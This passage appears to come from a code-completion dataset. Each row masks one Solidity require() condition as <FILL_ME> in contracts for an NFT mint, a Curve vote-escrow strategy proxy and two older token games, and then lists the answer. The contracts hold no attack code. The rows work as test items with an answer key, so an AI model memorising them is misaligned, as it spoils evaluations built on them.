function _acceptGov() external;
}
| grap.getPriorVotes(msg.sender,sub256(block.number,1))>proposalThreshold(),"GovernorAlpha::propose: proposer votes below proposal threshold" | 389,904 | grap.getPriorVotes(msg.sender,sub256(block.number,1))>proposalThreshold() |
"This IPFS bucket is immutable and can only be set once." | // SPDX-License-Identifier: MIT
// @title: Resonate
// @author: Mike Fucking Tamis
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/interfaces/IERC1271.sol";
contract ResonateNFT is
ERC721,
ERC721URIStorage,
Ownable,
ERC721Enumerable,
ReentrancyGuard,
IERC1271
{
using Address for address payable;
using SafeMath for uint256;
using ECDSA for bytes32;
event MintResonateSuccess(
uint256 indexed _tokenId,
string indexed _word,
address _human
);
enum MintFailure {
MaxPreSaleMint,
IncorrectSignature,
WordTaken
}
bool private _publicMinting = false;
mapping(address => uint256) private _presaleMintAmount;
event MintResonateFail(address _human, string _word, MintFailure _reason);
uint256 public constant MAX_RESONATES = 10000;
uint256 public constant MAX_PURCHASE = 6;
uint256 public constant MAX_PRESALE_MINT = 3;
uint256 public constant RESONATE_PRICE = 5E16;
bytes4 internal constant MAGICVALUE = 0x1626ba7e;
mapping(string => uint256) private _wordToToken;
mapping(uint256 => string) private _tokenToWord;
string private _tokenUriBase;
address private _signingAddress;
string private _immutableIPFSBucket;
constructor() ERC721("Resonate", "RST") {}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function _isValidSignature(bytes32 hash, bytes memory signature)
internal
view
returns (bool)
{
}
function isValidSignature(bytes32 hash, bytes memory signature)
external
view
override(IERC1271)
returns (bytes4 magicValue)
{
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function setPublicMinting() public onlyOwner {
}
function setImmutableIPFSBucket(string memory immutableIPFSBucket_)
public
onlyOwner
{
require(<FILL_ME>)
_immutableIPFSBucket = immutableIPFSBucket_;
}
function immutableIPFSBucket() public view virtual returns (string memory) {
}
function setTokenURI(string memory tokenUriBase_) public onlyOwner {
}
function setSigningAddress(address signingAddress_) public onlyOwner {
}
function baseTokenURI() public view virtual returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function prefixed(bytes32 hash) internal pure returns (bytes32) {
}
function mintHash(address human, string memory word)
public
pure
returns (bytes32)
{
}
function _unsafeMintResonate(address human, string memory word) private {
}
function onlyOwnerMintResonate(address human, string[] memory words)
public
onlyOwner
{
}
function _mintSingleResonate(
address human,
string memory word,
bytes memory signature
) internal virtual returns (bool) {
}
function getWordFromToken(uint256 index)
public
view
virtual
returns (string memory)
{
}
function getTokenFromWord(string memory word)
public
view
virtual
returns (uint256)
{
}
function mintResonate(
address payable human,
string[] memory words,
bytes[] memory signatures
) public payable virtual nonReentrant {
}
function withdrawAllEth(address payable payee) public virtual onlyOwner {
}
}
| bytes(_immutableIPFSBucket).length==0,"This IPFS bucket is immutable and can only be set once." | 389,928 | bytes(_immutableIPFSBucket).length==0 |
"All Resonates purchased." | // SPDX-License-Identifier: MIT
// @title: Resonate
// @author: Mike Fucking Tamis
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/interfaces/IERC1271.sol";
contract ResonateNFT is
ERC721,
ERC721URIStorage,
Ownable,
ERC721Enumerable,
ReentrancyGuard,
IERC1271
{
using Address for address payable;
using SafeMath for uint256;
using ECDSA for bytes32;
event MintResonateSuccess(
uint256 indexed _tokenId,
string indexed _word,
address _human
);
enum MintFailure {
MaxPreSaleMint,
IncorrectSignature,
WordTaken
}
bool private _publicMinting = false;
mapping(address => uint256) private _presaleMintAmount;
event MintResonateFail(address _human, string _word, MintFailure _reason);
uint256 public constant MAX_RESONATES = 10000;
uint256 public constant MAX_PURCHASE = 6;
uint256 public constant MAX_PRESALE_MINT = 3;
uint256 public constant RESONATE_PRICE = 5E16;
bytes4 internal constant MAGICVALUE = 0x1626ba7e;
mapping(string => uint256) private _wordToToken;
mapping(uint256 => string) private _tokenToWord;
string private _tokenUriBase;
address private _signingAddress;
string private _immutableIPFSBucket;
constructor() ERC721("Resonate", "RST") {}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function _isValidSignature(bytes32 hash, bytes memory signature)
internal
view
returns (bool)
{
}
function isValidSignature(bytes32 hash, bytes memory signature)
external
view
override(IERC1271)
returns (bytes4 magicValue)
{
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function setPublicMinting() public onlyOwner {
}
function setImmutableIPFSBucket(string memory immutableIPFSBucket_)
public
onlyOwner
{
}
function immutableIPFSBucket() public view virtual returns (string memory) {
}
function setTokenURI(string memory tokenUriBase_) public onlyOwner {
}
function setSigningAddress(address signingAddress_) public onlyOwner {
}
function baseTokenURI() public view virtual returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function prefixed(bytes32 hash) internal pure returns (bytes32) {
}
function mintHash(address human, string memory word)
public
pure
returns (bytes32)
{
}
function _unsafeMintResonate(address human, string memory word) private {
}
function onlyOwnerMintResonate(address human, string[] memory words)
public
onlyOwner
{
}
function _mintSingleResonate(
address human,
string memory word,
bytes memory signature
) internal virtual returns (bool) {
}
function getWordFromToken(uint256 index)
public
view
virtual
returns (string memory)
{
}
function getTokenFromWord(string memory word)
public
view
virtual
returns (uint256)
{
}
function mintResonate(
address payable human,
string[] memory words,
bytes[] memory signatures
) public payable virtual nonReentrant {
uint256 payment = msg.value;
require(words.length <= MAX_PURCHASE, "Purchasing more than max.");
require(<FILL_ME>)
require(
RESONATE_PRICE.mul(words.length) <= payment,
"Hey, that's not the right price."
);
uint256 totalPurchase = 0;
for (
uint256 i = 0;
i < Math.min(words.length, MAX_RESONATES.sub(totalSupply()));
i++
) {
if (_mintSingleResonate(human, words[i], signatures[i])) {
totalPurchase++;
}
}
human.transfer(payment.sub(totalPurchase.mul(RESONATE_PRICE)));
}
function withdrawAllEth(address payable payee) public virtual onlyOwner {
}
}
| totalSupply()<MAX_RESONATES,"All Resonates purchased." | 389,928 | totalSupply()<MAX_RESONATES |
"Hey, that's not the right price." | // SPDX-License-Identifier: MIT
// @title: Resonate
// @author: Mike Fucking Tamis
pragma solidity ^0.8.7;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/math/SafeMath.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
import "@openzeppelin/contracts/utils/math/Math.sol";
import "@openzeppelin/contracts/interfaces/IERC1271.sol";
contract ResonateNFT is
ERC721,
ERC721URIStorage,
Ownable,
ERC721Enumerable,
ReentrancyGuard,
IERC1271
{
using Address for address payable;
using SafeMath for uint256;
using ECDSA for bytes32;
event MintResonateSuccess(
uint256 indexed _tokenId,
string indexed _word,
address _human
);
enum MintFailure {
MaxPreSaleMint,
IncorrectSignature,
WordTaken
}
bool private _publicMinting = false;
mapping(address => uint256) private _presaleMintAmount;
event MintResonateFail(address _human, string _word, MintFailure _reason);
uint256 public constant MAX_RESONATES = 10000;
uint256 public constant MAX_PURCHASE = 6;
uint256 public constant MAX_PRESALE_MINT = 3;
uint256 public constant RESONATE_PRICE = 5E16;
bytes4 internal constant MAGICVALUE = 0x1626ba7e;
mapping(string => uint256) private _wordToToken;
mapping(uint256 => string) private _tokenToWord;
string private _tokenUriBase;
address private _signingAddress;
string private _immutableIPFSBucket;
constructor() ERC721("Resonate", "RST") {}
function _burn(uint256 tokenId)
internal
override(ERC721, ERC721URIStorage)
{
}
function _isValidSignature(bytes32 hash, bytes memory signature)
internal
view
returns (bool)
{
}
function isValidSignature(bytes32 hash, bytes memory signature)
external
view
override(IERC1271)
returns (bytes4 magicValue)
{
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal override(ERC721, ERC721Enumerable) {
}
function setPublicMinting() public onlyOwner {
}
function setImmutableIPFSBucket(string memory immutableIPFSBucket_)
public
onlyOwner
{
}
function immutableIPFSBucket() public view virtual returns (string memory) {
}
function setTokenURI(string memory tokenUriBase_) public onlyOwner {
}
function setSigningAddress(address signingAddress_) public onlyOwner {
}
function baseTokenURI() public view virtual returns (string memory) {
}
function tokenURI(uint256 tokenId)
public
view
override(ERC721, ERC721URIStorage)
returns (string memory)
{
}
function supportsInterface(bytes4 interfaceId)
public
view
override(ERC721, ERC721Enumerable)
returns (bool)
{
}
function prefixed(bytes32 hash) internal pure returns (bytes32) {
}
function mintHash(address human, string memory word)
public
pure
returns (bytes32)
{
}
function _unsafeMintResonate(address human, string memory word) private {
}
function onlyOwnerMintResonate(address human, string[] memory words)
public
onlyOwner
{
}
function _mintSingleResonate(
address human,
string memory word,
bytes memory signature
) internal virtual returns (bool) {
}
function getWordFromToken(uint256 index)
public
view
virtual
returns (string memory)
{
}
function getTokenFromWord(string memory word)
public
view
virtual
returns (uint256)
{
}
function mintResonate(
address payable human,
string[] memory words,
bytes[] memory signatures
) public payable virtual nonReentrant {
uint256 payment = msg.value;
require(words.length <= MAX_PURCHASE, "Purchasing more than max.");
require(totalSupply() < MAX_RESONATES, "All Resonates purchased.");
require(<FILL_ME>)
uint256 totalPurchase = 0;
for (
uint256 i = 0;
i < Math.min(words.length, MAX_RESONATES.sub(totalSupply()));
i++
) {
if (_mintSingleResonate(human, words[i], signatures[i])) {
totalPurchase++;
}
}
human.transfer(payment.sub(totalPurchase.mul(RESONATE_PRICE)));
}
function withdrawAllEth(address payable payee) public virtual onlyOwner {
}
}
| RESONATE_PRICE.mul(words.length)<=payment,"Hey, that's not the right price." | 389,928 | RESONATE_PRICE.mul(words.length)<=payment |
"!strategy" | // SPDX-License-Identifier: MIT
pragma solidity ^0.5.17;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
}
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
//
interface Proxy {
function execute(
address to,
uint256 value,
bytes calldata data
) external returns (bool, bytes memory);
function increaseAmount(uint256) external;
}
//
interface Mintr {
function mint(address) external;
}
//
interface FeeDistribution {
function claim(address) external returns (uint);
}
//
contract StrategyProxy {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
Proxy public constant proxy = Proxy(0xF147b8125d2ef93FB6965Db97D6746952a133934);
address public constant mintr = address(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0);
address public constant crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52);
address public constant gauge = address(0x2F50D538606Fa9EDD2B11E2446BEb18C9D5846bB);
address public constant y = address(0xFA712EE4788C042e2B7BB55E6cb8ec569C4530c1);
address public constant yveCRV = address(0xc5bDdf9843308380375a611c18B50Fb9341f502A);
address public constant CRV3 = address(0x6c3F90f043a72FA612cbac8115EE7e52BDe6E490);
FeeDistribution public constant feeDistribution = FeeDistribution(0xA464e6DCda8AC41e03616F95f4BC98a13b8922Dc);
mapping(address => bool) public strategies;
address public governance;
constructor() public {
}
function setGovernance(address _governance) external {
}
function approveStrategy(address _strategy) external {
}
function revokeStrategy(address _strategy) external {
}
function lock() external {
}
function vote(address _gauge, uint256 _amount) public {
require(<FILL_ME>)
proxy.execute(gauge, 0, abi.encodeWithSignature("vote_for_gauge_weights(address,uint256)", _gauge, _amount));
}
function withdraw(
address _gauge,
address _token,
uint256 _amount
) public returns (uint256) {
}
function balanceOf(address _gauge) public view returns (uint256) {
}
function withdrawAll(address _gauge, address _token) external returns (uint256) {
}
function deposit(address _gauge, address _token) external {
}
function harvest(address _gauge) external {
}
function claim(address recipient) external {
}
}
| strategies[msg.sender],"!strategy" | 390,206 | strategies[msg.sender] |
null | pragma solidity ^0.4.21;
/// @title Interface for contracts conforming to ERC-721: Non-Fungible Tokens
/// @author MinakoKojima (https://github.com/lychees)
contract ERC721 {
// Required methods
function totalSupply() public view returns (uint256 total);
function balanceOf(address _owner) public view returns (uint256 balance);
function ownerOf(uint256 _tokenId) public view returns (address owner);
function approve(address _to, uint256 _tokenId) public;
function transfer(address _to, uint256 _tokenId) public;
function transferFrom(address _from, address _to, uint256 _tokenId) public;
// Events
event Transfer(address from, address to, uint256 tokenId);
event Approval(address owner, address approved, uint256 tokenId);
// Optional
function name() public view returns (string _name);
function symbol() public view returns (string _symbol);
// function tokensOfOwner(address _owner) external view returns (uint256[] tokenIds);
// function tokenMetadata(uint256 _tokenId, string _preferredTransport) public view returns (string infoUrl);
// ERC-165 Compatibility (https://github.com/ethereum/EIPs/issues/165)
// function supportsInterface(bytes4 _interfaceID) external view returns (bool);
}
contract CryptoThreeKingdoms is ERC721{
event Bought (uint256 indexed _tokenId, address indexed _owner, uint256 _price);
event Sold (uint256 indexed _tokenId, address indexed _owner, uint256 _price);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
address private owner;
mapping (address => bool) private admins;
uint256[] private listedTokens;
mapping (uint256 => address) private ownerOfToken;
mapping (uint256 => address) private approvedOfToken;
function CryptoThreeKingdoms() public {
}
/* Modifiers */
modifier onlyOwner() {
}
modifier onlyAdmins() {
}
/* Owner */
function setOwner(address _owner) onlyOwner() public {
}
function addAdmin(address _admin) onlyOwner() public {
}
function removeAdmin(address _admin) onlyOwner() public {
}
/* Withdraw */
/*
NOTICE: These functions withdraw the developer's cut which is left
in the contract by `buy`. User funds are immediately sent to the old
owner in `buy`, no user funds are left in the contract.
*/
function withdrawAll() onlyAdmins() public {
}
function withdrawAmount(uint256 _amount) onlyAdmins() public {
}
/* ERC721 */
function name() public view returns (string _name) {
}
function symbol() public view returns (string _symbol) {
}
function totalSupply() public view returns (uint256 _totalSupply) {
}
function balanceOf (address _owner) public view returns (uint256 _balance) {
}
function ownerOf (uint256 _tokenId) public view returns (address _owner) {
}
function tokensOf (address _owner) public view returns (uint256[] _tokenIds) {
}
function approvedFor(uint256 _tokenId) public view returns (address _approved) {
}
function approve(address _to, uint256 _tokenId) public {
}
/* Transferring a country to another owner will entitle the new owner the profits from `buy` */
function transfer(address _to, uint256 _tokenId) public {
}
function transferFrom(address _from, address _to, uint256 _tokenId) public {
require(<FILL_ME>)
_transfer(_from, _to, _tokenId);
}
function _transfer(address _from, address _to, uint256 _tokenId) internal {
}
/* Read */
function getListedTokens() public view returns (uint256[] _Tokens) {
}
function isAdmin(address _admin) public view returns (bool _isAdmin) {
}
/* Issue */
function issueToken(uint256 l, uint256 r) onlyAdmins() public {
}
function issueTokenAndTransfer(uint256 l, uint256 r, address to) onlyAdmins() public {
}
function issueTokenAndApprove(uint256 l, uint256 r, address to) onlyAdmins() public {
}
}
| approvedFor(_tokenId)==msg.sender | 390,266 | approvedFor(_tokenId)==msg.sender |
null | pragma solidity ^0.4.23;
/*
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
*
* Author: Konstantin G...
* Telegram: @bunnygame (en)
* talk : https://bitcointalk.org/index.php?topic=5025885.0
* discord : https://discordapp.com/invite/G2jt4Fw
* email: [email protected]
* site : http://bunnycoin.co
*/
contract Ownable {
address owner;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwner(address _add) public onlyOwner {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract PublicInterface {
function transferFrom(address _from, address _to, uint32 _tokenId) public returns (bool);
function ownerOf(uint32 _tokenId) public view returns (address owner);
function isUIntPublic() public view returns(bool);
//function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
//function ownerOf(uint32 _tokenId) public view returns (address owner);
function getAllowedChangeSex(uint32 _bunny) public view returns(bool);
function getBirthCount(uint32 _bunny) public view returns(uint);
function getBirthLastTime(uint32 _bunny) public view returns(uint);
function getRabbitSirePrice(uint32 _bunny) public view returns(uint);
function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
function setRabbitSirePrice( uint32 _bunny, uint count) external;
}
contract Gift is Ownable {
event SendGift(address from, address to, uint32 bunnyId);
event ChengeSex(uint32 bunnyId, bool sex, uint256 price);
using SafeMath for uint256;
uint256 bigPrice = 0.003 ether;
function setBigPrice(uint _bigPrice) public onlyOwner() {
}
uint32[12] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(4 minutes),
uint32(8 minutes),
uint32(16 minutes),
uint32(32 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days)
];
bool public pause = false;
uint public totalGift = 0;
uint public lastGiftTime = 0;
uint public commission_system = 5;
address public lastGift;
address public pubAddress;
PublicInterface publicContract;
constructor() public {
}
function transferContract(address _pubAddress) public onlyOwner {
}
function setPause() public onlyOwner {
}
function isPauseSave() public view returns(bool){
}
function getSirePrice(uint32 _tokenId) public view returns(uint) {
}
function setRabbitSirePrice(uint32 _rabbitid, uint price) public {
require(<FILL_ME>)
require(publicContract.ownerOf(_rabbitid) == msg.sender);
require(price > bigPrice);
require(publicContract.getAllowedChangeSex(_rabbitid));
require(publicContract.getRabbitSirePrice(_rabbitid) != price);
uint lastTime;
(lastTime,,) = getcoolduwn(_rabbitid);
require(now >= lastTime);
publicContract.setRabbitSirePrice(_rabbitid, price);
emit ChengeSex(_rabbitid, true, getSirePrice(_rabbitid));
}
function setSireStop(uint32 _rabbitid) public returns(bool) {
}
function sendGift(uint32 _bunnyId, address _to) public {
}
function ownerOf(uint32 _bunnyId) public view returns(address) {
}
function checkContract() public view returns(bool) {
}
function isUIntPublic() public view returns(bool) {
}
/**
* we get cooldown
*/
function getcoolduwn(uint32 _mother) public view returns(uint lastTime, uint cd, uint lefttime) {
}
}
| isPauseSave() | 390,295 | isPauseSave() |
null | pragma solidity ^0.4.23;
/*
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
* giff
*
* Author: Konstantin G...
* Telegram: @bunnygame (en)
* talk : https://bitcointalk.org/index.php?topic=5025885.0
* discord : https://discordapp.com/invite/G2jt4Fw
* email: [email protected]
* site : http://bunnycoin.co
*/
contract Ownable {
address owner;
constructor() public {
}
modifier onlyOwner() {
}
function transferOwner(address _add) public onlyOwner {
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
contract PublicInterface {
function transferFrom(address _from, address _to, uint32 _tokenId) public returns (bool);
function ownerOf(uint32 _tokenId) public view returns (address owner);
function isUIntPublic() public view returns(bool);
//function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
//function ownerOf(uint32 _tokenId) public view returns (address owner);
function getAllowedChangeSex(uint32 _bunny) public view returns(bool);
function getBirthCount(uint32 _bunny) public view returns(uint);
function getBirthLastTime(uint32 _bunny) public view returns(uint);
function getRabbitSirePrice(uint32 _bunny) public view returns(uint);
function setAllowedChangeSex( uint32 _bunny, bool canBunny) public;
function setRabbitSirePrice( uint32 _bunny, uint count) external;
}
contract Gift is Ownable {
event SendGift(address from, address to, uint32 bunnyId);
event ChengeSex(uint32 bunnyId, bool sex, uint256 price);
using SafeMath for uint256;
uint256 bigPrice = 0.003 ether;
function setBigPrice(uint _bigPrice) public onlyOwner() {
}
uint32[12] public cooldowns = [
uint32(1 minutes),
uint32(2 minutes),
uint32(4 minutes),
uint32(8 minutes),
uint32(16 minutes),
uint32(32 minutes),
uint32(1 hours),
uint32(2 hours),
uint32(4 hours),
uint32(8 hours),
uint32(16 hours),
uint32(1 days)
];
bool public pause = false;
uint public totalGift = 0;
uint public lastGiftTime = 0;
uint public commission_system = 5;
address public lastGift;
address public pubAddress;
PublicInterface publicContract;
constructor() public {
}
function transferContract(address _pubAddress) public onlyOwner {
}
function setPause() public onlyOwner {
}
function isPauseSave() public view returns(bool){
}
function getSirePrice(uint32 _tokenId) public view returns(uint) {
}
function setRabbitSirePrice(uint32 _rabbitid, uint price) public {
require(isPauseSave());
require(<FILL_ME>)
require(price > bigPrice);
require(publicContract.getAllowedChangeSex(_rabbitid));
require(publicContract.getRabbitSirePrice(_rabbitid) != price);
uint lastTime;
(lastTime,,) = getcoolduwn(_rabbitid);
require(now >= lastTime);
publicContract.setRabbitSirePrice(_rabbitid, price);
emit ChengeSex(_rabbitid, true, getSirePrice(_rabbitid));
}
function setSireStop(uint32 _rabbitid) public returns(bool) {
}
function sendGift(uint32 _bunnyId, address _to) public {
}
function ownerOf(uint32 _bunnyId) public view returns(address) {
}
function checkContract() public view returns(bool) {
}
function isUIntPublic() public view returns(bool) {
}
/**
* we get cooldown
*/
